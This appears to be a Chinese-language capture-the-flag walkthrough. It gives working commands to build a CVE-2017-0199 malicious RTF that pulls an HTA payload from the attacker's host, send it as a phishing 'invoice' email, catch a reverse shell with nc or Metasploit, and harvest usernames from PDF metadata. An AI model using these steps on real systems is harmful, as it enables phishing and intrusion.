python CVE-2017-0199/cve-2017-0199_toolkit.py -M gen -w invoice.rtf -u http://10.10.14.3/msfv.hta -t rtf -x 0

  • -M gen:指定模式为“gen”,表示要生成恶意文档。

  • -w invoice.rtf:将输出文件名指定为“invoice.rtf”。

  • -u http://10.10.14.3/msfv.hta:指定负载的 URL,该负载是托管在“ http://10.10.14.3/msfv.hta ”的 HTA 文件。

  • -t rtf:指定要生成的文档类型为 RTF。

  • -x 0:指定要在文档中使用的图标。在本例中,它设置为 0。

    准备好文档后,我将启动一个 python http.server 来提供 hta 文件,启动一个 nc 侦听器来捕获我的 shell,然后发送网络钓鱼。我将使用sendemail以下选项:

sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.10.10.77 -v

您提供的命令似乎是尝试使用sendEmail命令行工具发送电子邮件。以下是您使用的选项的详细说明:

  • -f 0xdf@megabank.com:指定“发件人”电子邮件地址。

  • -t nico@megabank.com:指定“收件人”电子邮件地址。

  • -u "Invoice Attached":指定电子邮件主题。

  • -m "You are overdue payment":指定电子邮件消息。

  • -a invoice.rtf:将名为“invoice.rtf”的文件附加到电子邮件中。

  • -s 10.10.10.77:指定 SMTP 服务器的 IP 地址(假设10.10.10.77在本例中)。

  • -v:启用详细模式,为调试提供更详细的输出。

nc -lvnp 443

利用msf

use windows/fileformat/office_word_hta

options

set lhost

set lport

run

我将按照手动方式发送电子邮件,但这次使用 Metasploit 生成的文档:

sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a /root/.msf4/local/invoice.doc -s 10.10.10.77 -v

处理数据

ExifTool Version Number : 12.65

File Name : RHUL-MA-2009-06.pdf

Directory : .

File Size : 1301 kB

File Modification Date/Time : 2021:02:19 15:06:00-05:00

File Access Date/Time : 2023:08:28 03:13:44-04:00

File Inode Change Date/Time : 2023:08:28 03:13:44-04:00

File Permissions : -rw-r--r--

File Type : PDF

File Type Extension : pdf

MIME Type : application/pdf

PDF Version : 1.4

Linearized : No

Page Count : 88

XMP Toolkit : XMP toolkit 2.9.1-13, framework 1.6

About : 14ac9a6d-ff72-11dd-0000-8fdb8053d234

Producer : GPL Ghostscript 8.63

Modify Date : 2009:02:17 17:15:32Z00:00

Create Date : 2009:02:17 17:15:32Z00:00

Creator Tool : PScript5.dll Version 5.2.2

Document ID : 14ac9a6d-ff72-11dd-0000-8fdb8053d234

Format : application/pdf

Title : Microsoft Word - BufferOverflows_cover

Creator : alex

Author : alex

处理一堆这些数据提取敏感信息

exiftool *.pdf | grep -iE creator|author | awk -F ':' '{print $2}' | grep -v -i 'microsoft' | grep -vE '[0-9]' | uniq | tail -n 4 | sort | tee pdf_authors

  1. exiftool *.pdf:从当前目录中的所有 PDF 文件中提取元数据信息。

  2. grep -iE creator\|author:过滤包含“creator”的行;或“作者” (不区分大小写)。

  3. awk -F ':' '{print $2}':使用 awk 在用“:”分割每一行后提取第二个字段。

  4. grep -v -i 'microsoft':排除包含“microsoft”的行(不区分大小写)。

  5. grep -vE '[0-9]':排除包含数值的行。

  6. uniq:过滤掉连续的相同行,只保留唯一的行。

  7. tail -n 4:显示最后 4 行。

  8. sort:按字母顺序对行进行排序。

  9. tee pdf_authors:将结果写入名为“pdf_authors”的文件中;在终端上显示它时

  • `

  • -i 用于 grep 时,表示忽略大小写。

  • -E 用于 grep 时,表示启用扩展正则表达式。可以加|不被转义

  • -v 用于 grep 时,表示反选,匹配不包含指定模式的行。

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号